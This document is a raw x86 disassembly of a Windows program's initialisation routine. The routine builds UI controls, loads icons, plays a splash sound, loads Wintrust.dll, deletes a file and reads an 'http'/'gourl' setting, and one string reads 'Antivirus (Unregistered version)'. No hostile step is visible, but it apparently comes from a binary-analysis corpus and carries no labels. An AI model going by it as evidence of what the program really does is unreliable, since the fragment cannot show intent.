mov ecx, 0x4e3ef0
call fcn.00484f30
mov dword [ebp - 0x1100], eax
mov ecx, dword [ebp - 0x1100]
call fcn.00401050
push eax
call fcn.00440c1a
add esp, 4
mov ecx, dword [ebp - 0x1044]
mov dword [ecx + 0x90], eax
lea ecx, [ebp - 0xf20]
call fcn.00401030
push 0x4bf894
lea edx, [ebp - 0xf40]
push edx
mov ecx, 0x4e3ef0
call fcn.00484f30
mov dword [ebp - 0x1104], eax
mov ecx, dword [ebp - 0x1104]
call fcn.004018e0
neg eax
sbb eax, eax
add eax, 1
mov byte [ebp - 0xf21], al
lea ecx, [ebp - 0xf40]
call fcn.00401030
movzx eax, byte [ebp - 0xf21]
test eax, eax
je 0x498217
push 0x4bf8a4
push 0x4bf8ac
mov ecx, 0x4e3ef0
call fcn.004830e0
push 0x4bf8bc
lea ecx, [ebp - 0xf60]
push ecx
mov ecx, 0x4e3ef0
call fcn.00484f30
mov dword [ebp - 0x1108], eax
mov ecx, dword [ebp - 0x1108]
call fcn.004018e0
neg eax
sbb eax, eax
add eax, 1
mov byte [ebp - 0xf41], al
lea ecx, [ebp - 0xf60]
call fcn.00401030
movzx edx, byte [ebp - 0xf41]
test edx, edx
je 0x498275
push str.62577
push 0x4bf8dc
mov ecx, 0x4e3ef0
call fcn.004830e0
push str.dbverf
lea eax, [ebp - 0xf7c]
push eax
mov ecx, 0x4e3ef0
call fcn.00484f30
mov dword [ebp - 0x110c], eax
mov ecx, dword [ebp - 0x110c]
call fcn.00401050
push eax
call fcn.00440bfb
add esp, 4
mov ecx, dword [ebp - 0x1044]
fstp qword [ecx + 0x88]
lea ecx, [ebp - 0xf7c]
call fcn.00401030
push str.dbsignsf
lea edx, [ebp - 0xf98]
push edx
mov ecx, 0x4e3ef0
call fcn.00484f30
mov dword [ebp - 0x1110], eax
mov ecx, dword [ebp - 0x1110]
call fcn.00401050
push eax
call fcn.00440c1a
add esp, 4
mov ecx, dword [ebp - 0x1044]
mov dword [ecx + 0x94], eax
lea ecx, [ebp - 0xf98]
call fcn.00401030
push 0x87
call fcn.00465760
add esp, 4
mov dword [ebp - 0x670], eax
push 0x87
call fcn.00465760
add esp, 4
mov dword [ebp - 0x670], eax
push 0x7bc
call fcn.00402760
mov dword [ebp - 0xfa0], eax
mov byte [ebp - 4], 0x15
cmp dword [ebp - 0xfa0], 0
je 0x49835b
push 0
mov ecx, dword [ebp - 0xfa0]
call fcn.0048e2f0
mov dword [ebp - 0x1114], eax
jmp 0x498365
mov dword [ebp - 0x1114], 0
mov edx, dword [ebp - 0x1114]
mov dword [ebp - 0xf9c], edx
mov byte [ebp - 4], 3
mov eax, dword [ebp - 0x1044]
mov ecx, dword [ebp - 0xf9c]
mov dword [eax + 0xe98], ecx
push 0x914
call fcn.00402760
mov dword [ebp - 0xfa8], eax
mov byte [ebp - 4], 0x16
cmp dword [ebp - 0xfa8], 0
je 0x4983b9
push 0
mov ecx, dword [ebp - 0xfa8]
call fcn.00491df0
mov dword [ebp - 0x1118], eax
jmp 0x4983c3
mov dword [ebp - 0x1118], 0
mov edx, dword [ebp - 0x1118]
mov dword [ebp - 0xfa4], edx
mov byte [ebp - 4], 3
mov eax, dword [ebp - 0x1044]
mov ecx, dword [ebp - 0xfa4]
mov dword [eax + 0xe9c], ecx
push 0x6f0
call fcn.00402760
mov dword [ebp - 0xfb0], eax
mov byte [ebp - 4], 0x17
cmp dword [ebp - 0xfb0], 0
je 0x498417
push 0
mov ecx, dword [ebp - 0xfb0]
call fcn.0048da00
mov dword [ebp - 0x111c], eax
jmp 0x498421
mov dword [ebp - 0x111c], 0
mov edx, dword [ebp - 0x111c]
mov dword [ebp - 0xfac], edx
mov byte [ebp - 4], 3
mov eax, dword [ebp - 0x1044]
mov ecx, dword [ebp - 0xfac]
mov dword [eax + 0xea0], ecx
push 0xa00
call fcn.00402760
mov dword [ebp - 0xfb8], eax
mov byte [ebp - 4], 0x18
cmp dword [ebp - 0xfb8], 0
je 0x498475
push 0
mov ecx, dword [ebp - 0xfb8]
call fcn.0048ca90
mov dword [ebp - 0x1120], eax
jmp 0x49847f
mov dword [ebp - 0x1120], 0
mov edx, dword [ebp - 0x1120]
mov dword [ebp - 0xfb4], edx
mov byte [ebp - 4], 3
mov eax, dword [ebp - 0x1044]
mov ecx, dword [ebp - 0xfb4]
mov dword [eax + 0xea4], ecx
push 0x640
call fcn.00402760
mov dword [ebp - 0xfc0], eax
mov byte [ebp - 4], 0x19
cmp dword [ebp - 0xfc0], 0
je 0x4984d3
push 0
mov ecx, dword [ebp - 0xfc0]
call fcn.0048bfd0
mov dword [ebp - 0x1124], eax
jmp 0x4984dd
mov dword [ebp - 0x1124], 0
mov edx, dword [ebp - 0x1124]
mov dword [ebp - 0xfbc], edx
mov byte [ebp - 4], 3
mov eax, dword [ebp - 0x1044]
mov ecx, dword [ebp - 0xfbc]
mov dword [eax + 0xea8], ecx
push 0x54c
call fcn.00402760
mov dword [ebp - 0xfc8], eax
mov byte [ebp - 4], 0x1a
cmp dword [ebp - 0xfc8], 0
je 0x498531
push 0
mov ecx, dword [ebp - 0xfc8]
call fcn.0048b370
mov dword [ebp - 0x1128], eax
jmp 0x49853b
mov dword [ebp - 0x1128], 0
mov edx, dword [ebp - 0x1128]
mov dword [ebp - 0xfc4], edx
mov byte [ebp - 4], 3
mov eax, dword [ebp - 0x1044]
mov ecx, dword [ebp - 0xfc4]
mov dword [eax + 0xeac], ecx
mov edx, dword [ebp - 0x1044]
push edx
push 0x86
mov eax, dword [ebp - 0x1044]
mov ecx, dword [eax + 0xe98]
mov edx, dword [ebp - 0x1044]
mov eax, dword [edx + 0xe98]
mov edx, dword [ecx]
mov ecx, eax
mov eax, dword [edx + 0x134]
call eax
mov ecx, dword [ebp - 0x1044]
push ecx
push 0x85
mov edx, dword [ebp - 0x1044]
mov eax, dword [edx + 0xe9c]
mov ecx, dword [ebp - 0x1044]
mov ecx, dword [ecx + 0xe9c]
mov edx, dword [eax]
mov eax, dword [edx + 0x134]
call eax
mov ecx, dword [ebp - 0x1044]
push ecx
push 0x87
mov edx, dword [ebp - 0x1044]
mov eax, dword [edx + 0xea0]
mov ecx, dword [ebp - 0x1044]
mov ecx, dword [ecx + 0xea0]
mov edx, dword [eax]
mov eax, dword [edx + 0x134]
call eax
mov ecx, dword [ebp - 0x1044]
push ecx
push 0xa3
mov edx, dword [ebp - 0x1044]
mov eax, dword [edx + 0xea4]
mov ecx, dword [ebp - 0x1044]
mov ecx, dword [ecx + 0xea4]
mov edx, dword [eax]
mov eax, dword [edx + 0x134]
call eax
mov ecx, dword [ebp - 0x1044]
push ecx
push 0xa4
mov edx, dword [ebp - 0x1044]
mov eax, dword [edx + 0xea8]
mov ecx, dword [ebp - 0x1044]
mov ecx, dword [ecx + 0xea8]
mov edx, dword [eax]
mov eax, dword [edx + 0x134]
call eax
mov ecx, dword [ebp - 0x1044]
push ecx
push 0xa5
mov edx, dword [ebp - 0x1044]
mov eax, dword [edx + 0xeac]
mov ecx, dword [ebp - 0x1044]
mov ecx, dword [ecx + 0xeac]
mov edx, dword [eax]
mov eax, dword [edx + 0x134]
call eax
mov ecx, dword [ebp - 0x1044]
movzx edx, byte [ecx + 0x2028]
test edx, edx
je 0x498699
mov eax, dword [ebp - 0x1044]
movzx ecx, byte [eax + 0x2029]
test ecx, ecx
je 0x4987a2
mov dword [ebp - 0xc58], 0
push str.splash.mp3
call fcn.00493320
add esp, 4
mov dword [ebp - 0xc58], eax
push 0xa4
call fcn.00402760
mov dword [ebp - 0xfd0], eax
mov byte [ebp - 4], 0x1b
cmp dword [ebp - 0xfd0], 0
je 0x4986e6
mov ecx, dword [ebp - 0xfd0]
call fcn.004662d0
mov dword [ebp - 0x112c], eax
jmp 0x4986f0
mov dword [ebp - 0x112c], 0
mov edx, dword [ebp - 0x112c]
mov dword [ebp - 0xfcc], edx
mov byte [ebp - 4], 3
mov eax, dword [ebp - 0xfcc]
mov dword [ebp - 0xc54], eax
push 0xf
push 0x7d0
push 0x4bf92c
mov ecx, dword [ebp - 0x1044]
push ecx
mov ecx, dword [ebp - 0xc54]
call fcn.00466180
push 0xff
push 0
push 0xff
mov edx, dword [ebp - 0x674]
push edx
mov ecx, dword [ebp - 0xc54]
call fcn.00465f80
mov ecx, dword [ebp - 0xc54]
call fcn.00465b00
push 0xbb8
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 0x4e4710
call fcn.00406730
movzx eax, al
test eax, eax
jne 0x49877b
push 0x32
call fcn.00482cd0
add esp, 4
jmp 0x49875e
mov ecx, dword [ebp - 0xc54]
call fcn.004659d0
cmp dword [ebp - 0xc58], 0
je 0x4987a2
push 0
push 0
push 0x10
mov ecx, dword [ebp - 0xc58]
push ecx
call dword [sym.imp.USER32.dll_SendMessageW]
push 1
mov edx, dword [ebp - 0x1044]
mov eax, dword [edx + 0x227c]
push eax
mov ecx, dword [ebp - 0x1044]
call fcn.00406c00
push 0
mov ecx, dword [ebp - 0x1044]
mov edx, dword [ecx + 0x227c]
push edx
mov ecx, dword [ebp - 0x1044]
call fcn.00406c00
mov eax, dword [ebp - 0x670]
push eax
mov ecx, dword [ebp - 0x1044]
add ecx, 0x2280
call fcn.0042964e
lea ecx, [ebp - 0xe8]
push ecx
mov ecx, dword [ebp - 0x1044]
add ecx, 0x2280
call fcn.00403f90
push 2
mov edx, dword [ebp - 0xe0]
push edx
mov eax, dword [ebp - 0xe4]
push eax
push 0
push 0
push 0
mov ecx, dword [ebp - 0x1044]
call fcn.00429d62
lea ecx, [ebp - 0x4c]
call fcn.004016e0
lea ecx, [ebp - 0x4c]
push ecx
mov ecx, dword [ebp - 0x1044]
call fcn.00402030
lea ecx, [ebp - 0x4c]
call fcn.00402010
mov edx, dword [ebp - 0xe4]
sub edx, eax
add edx, dword [ebp - 0xe4]
mov dword [ebp - 0x3c], edx
lea ecx, [ebp - 0x4c]
call fcn.00401ff0
mov ecx, dword [ebp - 0xe0]
sub ecx, eax
add ecx, dword [ebp - 0xe0]
mov dword [ebp - 0x114], ecx
push 2
mov edx, dword [ebp - 0x114]
push edx
mov eax, dword [ebp - 0x3c]
push eax
push 0
push 0
push 0
mov ecx, dword [ebp - 0x1044]
call fcn.00429d62
push 0x5e
push 0
push 5
push 1
push 0x44
push 0xf1
mov ecx, dword [ebp - 0x1044]
call fcn.00492630
push 1
mov ecx, dword [ebp - 0x1044]
call fcn.004928e0
push 0xdb
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.USER32.dll_LoadIconA]
mov ecx, dword [ebp - 0x1044]
mov dword [ecx + 0x219c], eax
push 0xdc
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.USER32.dll_LoadIconA]
mov edx, dword [ebp - 0x1044]
mov dword [edx + 0x21a0], eax
push 0xdd
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.USER32.dll_LoadIconA]
mov ecx, dword [ebp - 0x1044]
mov dword [ecx + 0x21a4], eax
push 0xde
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.USER32.dll_LoadIconA]
mov edx, dword [ebp - 0x1044]
mov dword [edx + 0x21a8], eax
push 0xdf
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.USER32.dll_LoadIconA]
mov ecx, dword [ebp - 0x1044]
mov dword [ecx + 0x21ac], eax
push 0xe0
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.USER32.dll_LoadIconA]
mov edx, dword [ebp - 0x1044]
mov dword [edx + 0x21b0], eax
push 0xe1
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.USER32.dll_LoadIconA]
mov ecx, dword [ebp - 0x1044]
mov dword [ecx + 0x21b4], eax
push 0xe2
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.USER32.dll_LoadIconA]
mov edx, dword [ebp - 0x1044]
mov dword [edx + 0x21b8], eax
push 8
mov eax, dword [ebp - 0x1044]
add eax, 0x219c
push eax
mov ecx, dword [ebp - 0x1044]
add ecx, 0x1750
call fcn.00464df0
push 1
mov ecx, dword [ebp - 0x1044]
call fcn.00492d60
mov dword [ebp - 0x5c], 0x4b
mov dword [ebp - 0x58], 0x10
push 0x83
lea ecx, [ebp - 0x5d8]
call fcn.004658d0
mov byte [ebp - 4], 0x1c
push 0x4bf940
push 0x83
mov ecx, dword [ebp - 0x1044]
add ecx, 0xb8
call fcn.004861b0
push 0x4bf948
push 0x84
mov ecx, dword [ebp - 0x1044]
add ecx, 0xb8
call fcn.00486110
push 0
lea ecx, [ebp - 0x5d8]
call fcn.00465720
push eax
lea ecx, [ebp - 0x5d8]
call fcn.00465740
push eax
mov ecx, dword [ebp - 0x5c]
push ecx
mov edx, dword [ebp - 0x58]
push edx
push 0
mov ecx, dword [ebp - 0x1044]
add ecx, 0xb8
call fcn.00429d62
push 1
mov ecx, dword [ebp - 0x1044]
add ecx, 0xb8
call fcn.00406710
lea ecx, [ebp - 0x5d8]
call fcn.00465720
add eax, dword [ebp - 0x5c]
mov dword [ebp - 0x5c], eax
push 0x96
lea ecx, [ebp - 0x66c]
call fcn.004658d0
mov byte [ebp - 4], 0x1d
push 0x4bf950
push 0x96
mov ecx, dword [ebp - 0x1044]
add ecx, 0x1e0
call fcn.004861b0
push 0x4bf958
push 0x97
mov ecx, dword [ebp - 0x1044]
add ecx, 0x1e0
call fcn.00486110
push 0
lea ecx, [ebp - 0x66c]
call fcn.00465720
push eax
lea ecx, [ebp - 0x66c]
call fcn.00465740
push eax
mov eax, dword [ebp - 0x5c]
push eax
mov ecx, dword [ebp - 0x58]
push ecx
push 0
mov ecx, dword [ebp - 0x1044]
add ecx, 0x1e0
call fcn.00429d62
push 1
mov ecx, dword [ebp - 0x1044]
add ecx, 0x1e0
call fcn.00406710
lea ecx, [ebp - 0x5d8]
call fcn.00465720
add eax, dword [ebp - 0x5c]
mov dword [ebp - 0x5c], eax
push 0x98
lea ecx, [ebp - 0x158]
call fcn.004658d0
mov byte [ebp - 4], 0x1e
push 0x4bf960
push 0x98
mov ecx, dword [ebp - 0x1044]
add ecx, 0x308
call fcn.004861b0
push 0x4bf968
push 0x99
mov ecx, dword [ebp - 0x1044]
add ecx, 0x308
call fcn.00486110
push 0
lea ecx, [ebp - 0x158]
call fcn.00465720
push eax
lea ecx, [ebp - 0x158]
call fcn.00465740
push eax
mov edx, dword [ebp - 0x5c]
push edx
mov eax, dword [ebp - 0x58]
push eax
push 0
mov ecx, dword [ebp - 0x1044]
add ecx, 0x308
call fcn.00429d62
push 1
mov ecx, dword [ebp - 0x1044]
add ecx, 0x308
call fcn.00406710
lea ecx, [ebp - 0x5d8]
call fcn.00465720
add eax, dword [ebp - 0x5c]
mov dword [ebp - 0x5c], eax
push 0xbb
lea ecx, [ebp - 0xd0]
call fcn.004658d0
mov byte [ebp - 4], 0x1f
push 0x4bf970
push 0xbb
mov ecx, dword [ebp - 0x1044]
add ecx, 0x430
call fcn.004861b0
push 0x4bf978
push 0xba
mov ecx, dword [ebp - 0x1044]
add ecx, 0x430
call fcn.00486110
push 0
lea ecx, [ebp - 0xd0]
call fcn.00465720
push eax
lea ecx, [ebp - 0xd0]
call fcn.00465740
push eax
mov ecx, dword [ebp - 0x5c]
push ecx
mov edx, dword [ebp - 0x58]
push edx
push 0
mov ecx, dword [ebp - 0x1044]
add ecx, 0x430
call fcn.00429d62
push 1
mov ecx, dword [ebp - 0x1044]
add ecx, 0x430
call fcn.00406710
lea ecx, [ebp - 0x5d8]
call fcn.00465720
add eax, dword [ebp - 0x5c]
mov dword [ebp - 0x5c], eax
push 0x9c
lea ecx, [ebp - 0x110]
call fcn.004658d0
mov byte [ebp - 4], 0x20
push 0x4bf980
push 0x9c
mov ecx, dword [ebp - 0x1044]
add ecx, 0x558
call fcn.004861b0
push 0x4bf988
push 0x9d
mov ecx, dword [ebp - 0x1044]
add ecx, 0x558
call fcn.00486110
push 0
lea ecx, [ebp - 0x110]
call fcn.00465720
push eax
lea ecx, [ebp - 0x110]
call fcn.00465740
push eax
mov eax, dword [ebp - 0x5c]
push eax
mov ecx, dword [ebp - 0x58]
push ecx
push 0
mov ecx, dword [ebp - 0x1044]
add ecx, 0x558
call fcn.00429d62
push 1
mov ecx, dword [ebp - 0x1044]
add ecx, 0x558
call fcn.00406710
lea ecx, [ebp - 0x5d8]
call fcn.00465720
add eax, dword [ebp - 0x5c]
mov dword [ebp - 0x5c], eax
push 0x9e
lea ecx, [ebp - 0x6a0]
call fcn.004658d0
mov byte [ebp - 4], 0x21
push 0x4bf990
push 0x9e
mov ecx, dword [ebp - 0x1044]
add ecx, 0x680
call fcn.004861b0
push 0x4bf998
push 0x9f
mov ecx, dword [ebp - 0x1044]
add ecx, 0x680
call fcn.00486110
push 0
lea ecx, [ebp - 0x6a0]
call fcn.00465720
push eax
lea ecx, [ebp - 0x6a0]
call fcn.00465740
push eax
mov edx, dword [ebp - 0x5c]
push edx
mov eax, dword [ebp - 0x58]
push eax
push 0
mov ecx, dword [ebp - 0x1044]
add ecx, 0x680
call fcn.00429d62
push 1
mov ecx, dword [ebp - 0x1044]
add ecx, 0x680
call fcn.00406710
push 0x94
lea ecx, [ebp - 0x56c]
call fcn.004658d0
mov byte [ebp - 4], 0x22
push 0x4bf9a0
push 0x94
mov ecx, dword [ebp - 0x1044]
add ecx, 0x9f8
call fcn.004861b0
push 0x4bf9a8
push 0x94
mov ecx, dword [ebp - 0x1044]
add ecx, 0x9f8
call fcn.00486110
push 0
lea ecx, [ebp - 0x56c]
call fcn.00465720
push eax
lea ecx, [ebp - 0x56c]
call fcn.00465740
push eax
push 0x225
push 0x14
push 0
mov ecx, dword [ebp - 0x1044]
add ecx, 0x9f8
call fcn.00429d62
push 0xb4
lea ecx, [ebp - 0x5b0]
call fcn.004658d0
mov byte [ebp - 4], 0x23
push 0x4bf9b0
push 0xb4
mov ecx, dword [ebp - 0x1044]
add ecx, 0x7a8
call fcn.004861b0
push 0x4bf9b8
push 0xb4
mov ecx, dword [ebp - 0x1044]
add ecx, 0x7a8
call fcn.00486110
push 0
lea ecx, [ebp - 0x5b0]
call fcn.00465720
push eax
lea ecx, [ebp - 0x5b0]
call fcn.00465740
push eax
push 0x1d8
push 0xf
push 0
mov ecx, dword [ebp - 0x1044]
add ecx, 0x7a8
call fcn.00429d62
push 0x90
lea ecx, [ebp - 0xa8]
call fcn.004658d0
mov byte [ebp - 4], 0x24
push 0x4bf9c0
push 0x90
mov ecx, dword [ebp - 0x1044]
add ecx, 0xb20
call fcn.004861b0
push 0x4bf9c8
push 0x90
mov ecx, dword [ebp - 0x1044]
add ecx, 0xb20
call fcn.00486110
push 0
lea ecx, [ebp - 0xa8]
call fcn.00465720
push eax
lea ecx, [ebp - 0xa8]
call fcn.00465740
push eax
push 0
push 0x1d4
push 0
mov ecx, dword [ebp - 0x1044]
add ecx, 0xb20
call fcn.00429d62
push 0x92
lea ecx, [ebp - 0x38]
call fcn.004658d0
mov byte [ebp - 4], 0x25
push 0x4bf9d0
push 0x92
mov ecx, dword [ebp - 0x1044]
add ecx, 0xc48
call fcn.004861b0
push 0x4bf9d8
push 0x92
mov ecx, dword [ebp - 0x1044]
add ecx, 0xc48
call fcn.00486110
push 0
lea ecx, [ebp - 0x38]
call fcn.00465720
push eax
lea ecx, [ebp - 0x38]
call fcn.00465740
push eax
push 0
push 0x235
push 0
mov ecx, dword [ebp - 0x1044]
add ecx, 0xc48
call fcn.00429d62
push 0x93
lea ecx, [ebp - 0x600]
call fcn.004658d0
mov byte [ebp - 4], 0x26
push 0x4bf9e0
push 0x93
mov ecx, dword [ebp - 0x1044]
add ecx, 0xd70
call fcn.004861b0
push 0x4bf9e8
push 0x93
mov ecx, dword [ebp - 0x1044]
add ecx, 0xd70
call fcn.00486110
push 0
lea ecx, [ebp - 0x600]
call fcn.00465720
push eax
lea ecx, [ebp - 0x600]
call fcn.00465740
push eax
push 0
push 0x295
push 0
mov ecx, dword [ebp - 0x1044]
add ecx, 0xd70
call fcn.00429d62
mov ecx, dword [ebp - 0x1044]
call fcn.00496ca0
call fcn.00401290
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
je 0x49908a
mov ecx, dword [ebp - 0x10]
cmp dword [ecx + 0xa8], 1
jle 0x49906d
mov edx, dword [ebp - 0x10]
mov eax, dword [edx + 0xa4]
push eax
push 0x8013
push 0x8011
mov ecx, dword [ebp - 0x1044]
call fcn.00401f90
push eax
call dword [sym.imp.USER32.dll_SendMessageW]
jmp 0x49908a
mov ecx, dword [ebp - 0x1044]
mov edx, dword [ecx + 0xe9c]
mov dword [ebp - 0xc5c], edx
mov ecx, dword [ebp - 0xc5c]
call fcn.0048fce0
mov eax, dword [ebp - 0x1044]
movzx ecx, byte [eax + 0x2088]
push ecx
push 0x800a
mov ecx, dword [ebp - 0x1044]
add ecx, 0x1750
call fcn.00464010
mov edx, dword [ebp - 0x1044]
mov al, byte [edx + 0x2088]
push eax
push 0x4bf9f0
call fcn.00483a30
add esp, 8
push str.Wintrust.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
lea ecx, [ebp - 0x80]
push ecx
call fcn.004843d0
add esp, 4
mov byte [ebp - 4], 0x27
push 0
lea ecx, [ebp - 0x80]
call fcn.00401df0
push eax
push 0x4bfa18
call fcn.004838a0
add esp, 0xc
push 0x4bfa24
lea ecx, [ebp - 0x80]
call fcn.00404dc0
lea ecx, [ebp - 0x80]
call fcn.00401df0
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov edx, dword [ebp - 0x1044]
movzx eax, byte [edx + 0x2088]
test eax, eax
je 0x49913a
push 0x4bfa28
mov ecx, dword [ebp - 0x1044]
call fcn.00429ab9
jmp 0x49914a
push str.Antivirus__Unregistered_version_
mov ecx, dword [ebp - 0x1044]
call fcn.00429ab9
push 0x654
call fcn.00402760
mov dword [ebp - 0xfd8], eax
mov byte [ebp - 4], 0x28
cmp dword [ebp - 0xfd8], 0
je 0x49917c
push 0
mov ecx, dword [ebp - 0xfd8]
call fcn.00469170
mov dword [ebp - 0x1130], eax
jmp 0x499186
mov dword [ebp - 0x1130], 0
mov ecx, dword [ebp - 0x1130]
mov dword [ebp - 0xfd4], ecx
mov byte [ebp - 4], 0x27
mov edx, dword [ebp - 0xfd4]
mov dword [ebp - 0x54], edx
push 0x4bfa3c
lea eax, [ebp - 0xff8]
push eax
mov ecx, 0x4e3ef0
call fcn.00484f30
mov dword [ebp - 0x1134], eax
push 0
push str.http
mov ecx, dword [ebp - 0x1134]
call fcn.004027f0
xor ecx, ecx
cmp eax, dword [0x4c43f8]
setne cl
mov byte [ebp - 0xfd9], cl
lea ecx, [ebp - 0xff8]
call fcn.00401030
movzx edx, byte [ebp - 0xfd9]
test edx, edx
je 0x4992ec
push 0x4bfa98
lea eax, [ebp - 0x1014]
push eax
mov ecx, 0x4e3ef0
call fcn.00484f30
mov dword [ebp - 0x1138], eax
mov ecx, dword [ebp - 0x1138]
mov dword [ebp - 0x113c], ecx
mov byte [ebp - 4], 0x29
mov edx, dword [ebp - 0x113c]
push edx
lea eax, [ebp - 0x1030]
push eax
call fcn.00484560
add esp, 8
mov dword [ebp - 0x1140], eax
mov ecx, dword [ebp - 0x1140]
mov dword [ebp - 0x1144], ecx
mov byte [ebp - 4], 0x2a
mov edx, dword [ebp - 0x1144]
push edx
mov ecx, dword [ebp - 0x54]
add ecx, 0x56c
call fcn.004061d0
mov byte [ebp - 4], 0x29
lea ecx, [ebp - 0x1030]
call fcn.00401e40
mov byte [ebp - 4], 0x27
lea ecx, [ebp - 0x1014]
call fcn.00401030
mov eax, dword [ebp - 0x54]
mov edx, dword [eax]
mov ecx, dword [ebp - 0x54]
mov eax, dword [edx + 0x144]
call eax
mov ecx, dword [ebp - 0x54]
mov dword [ebp - 0x1038], ecx
mov edx, dword [ebp - 0x1038]
mov dword [ebp - 0x1034], edx
cmp dword [ebp - 0x1034], 0
je 0x4992ce
push 1
mov eax, dword [ebp - 0x1034]
mov edx, dword [eax]
mov ecx, dword [ebp - 0x1034]
mov eax, dword [edx + 4]
call eax
mov dword [ebp - 0x1148], eax
jmp 0x4992d8
mov dword [ebp - 0x1148], 0
push 0x4bfaa4
push str.gourl
mov ecx, 0x4e3ef0
call fcn.004830e0
mov dword [ebp - 0x103c], 1
mov byte [ebp - 4], 0x26
lea ecx, [ebp - 0x80]
call fcn.00401e40
mov byte [ebp - 4], 0x25
lea ecx, [ebp - 0x600]
call fcn.00403f70
mov byte [ebp - 4], 0x24
lea ecx, [ebp - 0x38]
call fcn.00403f70
mov byte [ebp - 4], 0x23
lea ecx, [ebp - 0xa8]
call fcn.00403f70
mov byte [ebp - 4], 0x22
lea ecx, [ebp - 0x5b0]
call fcn.00403f70
mov byte [ebp - 4], 0x21
lea ecx, [ebp - 0x56c]
call fcn.00403f70
mov byte [ebp - 4], 0x20
lea ecx, [ebp - 0x6a0]
call fcn.00403f70
mov byte [ebp - 4], 0x1f
lea ecx, [ebp - 0x110]
call fcn.00403f70
mov byte [ebp - 4], 0x1e
lea ecx, [ebp - 0xd0]
call fcn.00403f70
mov byte [ebp - 4], 0x1d
lea ecx, [ebp - 0x158]
call fcn.00403f70
mov byte [ebp - 4], 0x1c
lea ecx, [ebp - 0x66c]
call fcn.00403f70
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x5d8]
call fcn.00403f70
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x130]
call fcn.00401e40
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x588]
call fcn.00401e40
mov eax, dword [ebp - 0x103c]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x64]
xor ecx, ebp
call fcn.0043f9e9
mov esp, ebp
pop ebp
ret